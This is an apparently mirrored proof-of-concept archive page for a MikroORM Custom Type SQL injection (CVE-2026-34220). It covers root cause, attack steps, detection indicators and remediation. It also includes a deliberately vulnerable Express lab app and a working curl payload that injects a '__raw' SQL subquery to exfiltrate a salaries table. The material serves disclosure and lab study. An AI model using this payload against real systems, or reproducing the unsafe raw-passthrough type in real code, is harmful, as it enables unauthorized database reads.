PoC Archive PoC Archive
High CVE-2026-34220 patched

MikroORM Custom Type Raw SQL Injection (CVE-2026-34220)

by EQSTLab · 2026-07-05

Severity
High
CVE
CVE-2026-34220
Category
web
Affected product
MikroORM (Node.js/TypeScript ORM)
Affected versions
≤ 6.4.3, and 7.0.0 ≤ version ≤ 7.0.5 (patched in 6.4.4 and 7.0.6)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherEQSTLab
CVE / AdvisoryCVE-2026-34220
Categoryweb
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagssql-injection, mikroorm, nodejs, typescript, orm, docker, database
RelatedN/A

Affected Target

FieldValue
Software / SystemMikroORM (Node.js/TypeScript ORM)
Versions Affected≤ 6.4.3, and 7.0.0 ≤ version ≤ 7.0.5 (patched in 6.4.4 and 7.0.6)
Language / PlatformNode.js / TypeScript backend application using MikroORM
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-34220 is a SQL injection vulnerability in MikroORM’s handling of Custom Type columns. When a client-supplied JSON value contains a __raw property, MikroORM’s internal isRaw() check treats it as a trusted, framework-generated Raw SQL expression rather than untrusted user input, and inlines the accompanying sql string directly into the generated query with no sanitization. The included lab (a Dockerized Express-style app and a Post/salaries schema) lets an attacker submit a crafted content.__raw/content.sql payload that gets embedded into an INSERT, causing an unrelated table’s data to be exfiltrated into the response. The PoC demonstrates this end-to-end with a single curl request against the containerized target.


Vulnerability Details

Root Cause

MikroORM’s isRaw() origin check only inspects the shape of an object (presence of a __raw flag) rather than verifying the value actually originated from MikroORM’s own raw() helper, allowing externally supplied objects to be treated as trusted raw SQL fragments.

Attack Vector

  1. Identify an API endpoint that persists user-controlled JSON into a MikroORM Custom Type column.
  2. Craft a JSON body where the target field is an object of the form {"__raw": true, "sql": "<arbitrary SQL expression>"}.
  3. Submit the request; MikroORM inlines the sql value verbatim into the generated INSERT/UPDATE statement.
  4. Read back the created/updated record — the injected subquery result (e.g., data from another table) is embedded in the stored/returned value.

Impact

Unauthorized read access to arbitrary data in the underlying database (and potential modification), via applications that expose MikroORM Custom Type columns to user input without additional validation.


Environment / Lab Setup

Target:   Dockerized Node.js/Express app using vulnerable MikroORM (app.js, package.json)
Attacker: curl, Docker

Proof of Concept

PoC Script

See app.js, Dockerfile, and package.json in this folder.

1
2
3
4
5
6
docker build -t cve-2026-34220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-34220-mikroorm-vuln

curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{"author":"x","title":"x","content":{"__raw":true,"sql":"(SELECT group_concat(name || \": \" || salary, \" / \") FROM salaries)"}}'

The app builds and runs a vulnerable MikroORM-backed API; the curl request injects a raw SQL subquery via the content field, and the resulting record’s content value contains exfiltrated rows from the unrelated salaries table.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected __raw/sql keys present in request bodies to persistence endpoints
  • Stored records containing data patterns inconsistent with their expected schema (e.g., concatenated values from other tables)
  • Database query logs showing subqueries against unrelated tables originating from write operations

Remediation

ActionDetail
Primary fixUpgrade to MikroORM 6.4.4 or 7.0.6+, which adds origin verification in isRaw() to reject externally supplied __raw objects
Interim mitigationApply whitelist-based input validation to strip unexpected properties such as __raw before values reach the ORM layer

References


Notes

Mirrored from https://github.com/EQSTLab/CVE-2026-34220 on 2026-07-05.

app.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
const express = require('express');
const { EntitySchema, Type, raw } = require('@mikro-orm/core');
const { MikroORM } = require('@mikro-orm/sqlite');

const PORT = Number(process.env.PORT || 3000);

class Post {}
class Salary {}

// Type을 직접 상속한 커스텀 타입 (취약점 발생 지점)
class JsonOrRawType extends Type {
  convertToDatabaseValue(value) {
    if (value && typeof value === 'object' && '__raw' in value) {
      return value;
    }
    return typeof value === 'string' ? value : String(value ?? '');
  }
  convertToJSValue(value) {
    if (typeof value === 'string') {
      try { return JSON.parse(value); } catch { return value; }
    }
    return value;
  }
  getColumnType() {
    return 'text';
  }
  get runtimeType() {
    return 'string';
  }
}

const PostSchema = new EntitySchema({
  class: Post,
  tableName: 'posts',
  properties: {
    id:         { type: 'number', primary: true, autoincrement: true },
    author:     { type: 'string' },
    title:      { type: 'string' },
    content:    { type: JsonOrRawType, trackChanges: false },  // 취약 컬럼
    created_at: { type: 'string' },
  },
});

const SalarySchema = new EntitySchema({
  class: Salary,
  tableName: 'salaries',
  properties: {
    id:     { type: 'number', primary: true, autoincrement: true },
    name:   { type: 'string' },
    salary: { type: 'number' },
  },
});

const seedSalaries = [
  { name: 'Mia Bailey',        salary: 156000 },
  { name: 'Emma Carter',       salary: 168000 },
  { name: 'Ava Hughes',        salary: 142000 },
  { name: 'Noah Sullivan',     salary: 134000 },
  { name: 'Liam Parker',       salary: 128000 },
  { name: 'Daniel Long',       salary: 139000 },
  { name: 'Grace Simmons',     salary: 145000 },
  { name: 'Logan Russell',     salary: 172000 },
  { name: 'Alexander Hayes',   salary: 161000 },
  { name: 'William Jenkins',   salary: 158000 },
  { name: 'Scarlett Hamilton', salary: 183000 },
  { name: 'Sophia Ward',       salary: 149000 },
  { name: 'Harper Gray',       salary: 122000 },
  { name: 'Mason Powell',      salary: 118000 },
  { name: 'Ethan Coleman',     salary: 115000 },
  { name: 'FLAG = EQST{r4w_qu3ry_fr4gm3nt_1nj3ct10n}', salary: 299299299 },
];

let orm;
let activeQueryLogScope = null;

function escHtml(str) {
  return String(str || '')
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;');
}

async function withQueryLogging(scope, handler) {
  activeQueryLogScope = scope;
  try { return await handler(); }
  finally { activeQueryLogScope = null; }
}

async function initOrm() {
  return MikroORM.init({
    entities: [PostSchema, SalarySchema],
    dbName: process.env.DB_PATH || ':memory:',
    debug: true,
    logger: (message) => {
      const prefix = activeQueryLogScope ? `[SQL][${activeQueryLogScope}]` : '[SQL]';
      console.log(`${prefix} ${message}`);
    },
  });
}

async function seedDatabase(activeOrm) {
  await activeOrm.schema.refreshDatabase();
  const em = activeOrm.em.fork();
  const salaries = seedSalaries.map(s => em.create(Salary, s));
  em.persist(salaries);
  await em.flush();
}

function buildApp(activeOrm) {
  const app = express();
  app.use(express.json());

  // 메인 페이지 - 게시판
  app.get('/', async (req, res) => {
    const posts = await withQueryLogging('list-posts', async () => {
      const em = activeOrm.em.fork();
      return em.find(Post, {}, { orderBy: { id: 'desc' } });
    });

    res.type('html').send(`<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>사내 게시판</title>
  <style>
    :root { --bg:#f6f3ed; --panel:rgba(255,252,248,0.92); --ink:#1b1a17; --muted:#6b665e; --accent:#9a3f26; --border:rgba(120,102,80,0.18); --shadow:0 24px 80px rgba(53,36,12,0.08); }
    * { box-sizing:border-box; }
    body { margin:0; min-height:100vh; color:var(--ink); font-family:"Segoe UI","Helvetica Neue",Arial,sans-serif; background:radial-gradient(circle at top left,rgba(154,63,38,0.12),transparent 30%),radial-gradient(circle at bottom right,rgba(109,122,90,0.09),transparent 34%),linear-gradient(180deg,#fbf8f2 0%,var(--bg) 100%); }
    .shell { max-width:860px; margin:0 auto; padding:48px 16px 72px; }
    .card { background:var(--panel); backdrop-filter:blur(12px); border:1px solid var(--border); border-radius:24px; box-shadow:var(--shadow); }
    .header { padding:24px 28px; margin-bottom:20px; display:flex; justify-content:space-between; align-items:center; flex-wrap:wrap; gap:12px; }
    .title { margin:0; font-size:1.8rem; font-weight:700; letter-spacing:0.1em; text-transform:uppercase; color:var(--muted); }
    .subtitle { font-size:0.85rem; color:var(--muted); font-weight:600; letter-spacing:0.14em; text-transform:uppercase; }
    a.write-btn { text-decoration:none; padding:12px 22px; border-radius:999px; color:#fffaf4; background:linear-gradient(135deg,#8f2a16,#c3562f); font-weight:700; font-size:0.95rem; }
    .posts { padding:8px 16px 24px; }
    .post-item { padding:20px 12px; border-bottom:1px solid var(--border); }
    .post-item:last-child { border-bottom:none; }
    .post-title { font-size:1.05rem; font-weight:700; margin:0 0 6px; }
    .post-meta { font-size:0.85rem; color:var(--muted); margin-bottom:8px; display:flex; gap:12px; align-items:center; }
    .post-content { font-size:0.95rem; color:var(--ink); white-space:pre-wrap; word-break:break-all; }
    .edit-btn { text-decoration:none; font-size:0.8rem; padding:4px 10px; border-radius:999px; border:1px solid var(--border); color:var(--muted); background:rgba(255,255,255,0.8); }
    .empty { padding:40px; text-align:center; color:var(--muted); }
  </style>
</head>
<body>
  <main class="shell">
    <section class="card">
      <div class="header">
        <div>
          <div class="title">사내 게시판</div>
          <div class="subtitle">EQST Internal Board</div>
        </div>
        <a class="write-btn" href="/write">✏️ Write Post</a>
      </div>
      <div class="posts">
        ${posts.length === 0
          ? '<div class="empty">No posts yet. Be the first to write!</div>'
          : posts.map(p => `
            <div class="post-item">
              <div class="post-title">${escHtml(p.title)}</div>
              <div class="post-meta">
                <span>by ${escHtml(p.author)}</span>
                <span>${escHtml(p.created_at)}</span>
                <a class="edit-btn" href="/edit/${p.id}">Edit</a>
              </div>
              <div class="post-content">${escHtml(p.content)}</div>
            </div>
          `).join('')}
      </div>
    </section>
  </main>
</body>
</html>`);
  });

  // 글 작성 페이지
  app.get('/write', (_req, res) => {
    res.type('html').send(`<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Write Post</title>
  <style>
    :root { --panel:rgba(255,252,248,0.92); --muted:#6b665e; --accent:#9a3f26; --border:rgba(120,102,80,0.18); --shadow:0 24px 80px rgba(53,36,12,0.08); }
    * { box-sizing:border-box; }
    body { margin:0; min-height:100vh; display:grid; place-items:center; background:linear-gradient(180deg,#fbf8f2 0%,#f6f3ed 100%); font-family:"Segoe UI","Helvetica Neue",Arial,sans-serif; color:#1b1a17; }
    .card { width:min(560px,calc(100vw - 32px)); padding:32px; border-radius:24px; background:var(--panel); border:1px solid var(--border); box-shadow:var(--shadow); }
    h1 { margin:0 0 24px; font-size:1.4rem; }
    .row { display:grid; gap:14px; }
    label { font-weight:600; font-size:0.9rem; color:var(--muted); text-transform:uppercase; letter-spacing:0.08em; }
    input, textarea { width:100%; padding:12px 14px; border-radius:14px; border:1px solid var(--border); font:inherit; background:rgba(255,255,255,0.9); }
    textarea { min-height:160px; resize:vertical; }
    button { width:100%; padding:14px; border:0; border-radius:14px; font:inherit; font-weight:700; color:#fffaf4; background:linear-gradient(135deg,#8f2a16,#c3562f); cursor:pointer; }
    #status { margin-top:12px; color:var(--muted); font-size:0.95rem; }
    a { color:var(--accent); }
  </style>
</head>
<body>
  <main class="card">
    <h1>✏️ Write Post</h1>
    <div class="row">
      <div><label>Author</label><input id="author" type="text" placeholder="Your name" /></div>
      <div><label>Title</label><input id="title" type="text" placeholder="Post title" /></div>
      <div><label>Content</label><textarea id="content" placeholder="Write your post here..."></textarea></div>
      <button id="submit">Post</button>
    </div>
    <div id="status"></div>
    <div style="margin-top:14px;"><a href="/">← Back to Board</a></div>
  </main>
  <script>
    document.getElementById('submit').addEventListener('click', async () => {
      const author  = document.getElementById('author').value.trim();
      const title   = document.getElementById('title').value.trim();
      const content = document.getElementById('content').value.trim();
      if (!author || !title || !content) {
        document.getElementById('status').textContent = 'Please fill in all fields.';
        return;
      }
      const res = await fetch('/api/posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ author, title, content }),
      });
      const data = await res.json();
      if (data.ok) { window.location.href = '/'; }
      else { document.getElementById('status').textContent = data.error || 'Failed to post.'; }
    });
  </script>
</body>
</html>`);
  });

  // 글 수정 페이지
  app.get('/edit/:id', async (req, res) => {
    const post = await withQueryLogging('get-post', async () => {
      const em = activeOrm.em.fork();
      return em.findOne(Post, { id: Number(req.params.id) });
    });

    if (!post) { res.status(404).send('Not found'); return; }

    res.type('html').send(`<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>Edit Post</title>
  <style>
    :root { --panel:rgba(255,252,248,0.92); --muted:#6b665e; --accent:#9a3f26; --border:rgba(120,102,80,0.18); --shadow:0 24px 80px rgba(53,36,12,0.08); }
    * { box-sizing:border-box; }
    body { margin:0; min-height:100vh; display:grid; place-items:center; background:linear-gradient(180deg,#fbf8f2 0%,#f6f3ed 100%); font-family:"Segoe UI","Helvetica Neue",Arial,sans-serif; color:#1b1a17; }
    .card { width:min(560px,calc(100vw - 32px)); padding:32px; border-radius:24px; background:var(--panel); border:1px solid var(--border); box-shadow:var(--shadow); }
    h1 { margin:0 0 24px; font-size:1.4rem; }
    .row { display:grid; gap:14px; }
    label { font-weight:600; font-size:0.9rem; color:var(--muted); text-transform:uppercase; letter-spacing:0.08em; }
    input, textarea { width:100%; padding:12px 14px; border-radius:14px; border:1px solid var(--border); font:inherit; background:rgba(255,255,255,0.9); }
    textarea { min-height:160px; resize:vertical; }
    button { width:100%; padding:14px; border:0; border-radius:14px; font:inherit; font-weight:700; color:#fffaf4; background:linear-gradient(135deg,#8f2a16,#c3562f); cursor:pointer; }
    #status { margin-top:12px; color:var(--muted); font-size:0.95rem; }
    a { color:var(--accent); }
  </style>
</head>
<body>
  <main class="card">
    <h1>✏️ Edit Post</h1>
    <div class="row">
      <div><label>Title</label><input id="title" type="text" value="${escHtml(post.title)}" /></div>
      <div><label>Content</label><textarea id="content">${escHtml(post.content)}</textarea></div>
      <button id="submit">Save</button>
    </div>
    <div id="status"></div>
    <div style="margin-top:14px;"><a href="/">← Back to Board</a></div>
  </main>
  <script>
    document.getElementById('submit').addEventListener('click', async () => {
      const title   = document.getElementById('title').value.trim();
      const content = document.getElementById('content').value.trim();
      if (!title || !content) {
        document.getElementById('status').textContent = 'Please fill in all fields.';
        return;
      }
      const res = await fetch('/api/posts/${post.id}', {
        method: 'PUT',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ title, content }),
      });
      const data = await res.json();
      if (data.ok) { window.location.href = '/'; }
      else { document.getElementById('status').textContent = data.error || 'Failed to update.'; }
    });
  </script>
</body>
</html>`);
  });

  // 글 작성 API
  app.post('/api/posts', async (req, res) => {
    const { author, title, content } = req.body || {};
    if (!author || !title || !content) {
      res.status(400).json({ ok: false, error: 'author, title, content are required' });
      return;
    }
    try {
      await withQueryLogging('create-post', async () => {
        const em = activeOrm.em.fork();
        // 취약 지점: em.create + flush → ChangeSetPersister → nativeInsertMany → formatQuery → quoteValue
        const post = em.create(Post, {
          author,
          title,
          content,
          created_at: new Date().toISOString().slice(0, 19).replace('T', ' '),
        });
        await em.flush();
      });
      res.json({ ok: true });
    } catch (error) {
      res.status(500).json({ ok: false, error: error.message });
    }
  });

  // 글 수정 API (취약 지점: content가 nativeUpdate SET절로 직접 전달됨)
  app.put('/api/posts/:id', async (req, res) => {
    const { title, content } = req.body || {};
    const id = Number(req.params.id);
    if (!title || !content) {
      res.status(400).json({ ok: false, error: 'title, content are required' });
      return;
    }
    try {
      await withQueryLogging('update-post', async () => {
        const em = activeOrm.em.fork();
        await em.nativeUpdate(Post, { id }, { title, content });
      });
      res.json({ ok: true });
    } catch (error) {
      res.status(500).json({ ok: false, error: error.message });
    }
  });

  app.get('/healthz', async (_req, res) => {
    try {
      await activeOrm.em.getConnection().execute('select 1');
      res.json({ ok: true });
    } catch (error) {
      res.status(500).json({ ok: false, error: error.message });
    }
  });

  return app;
}

async function initialize() {
  if (orm) await orm.close(true);
  orm = await initOrm();
  await seedDatabase(orm);
  return buildApp(orm);
}

async function closeOrm() {
  if (orm) { await orm.close(true); orm = undefined; }
}

async function main() {
  const app = await initialize();
  app.listen(PORT, () => console.log(`Challenge server listening on http://127.0.0.1:${PORT}`));
}

if (require.main === module) {
  main().catch(async (error) => {
    console.error(error);
    await closeOrm();
    process.exit(1);
  });
}

module.exports = { Post, PORT, buildApp, closeOrm, initialize };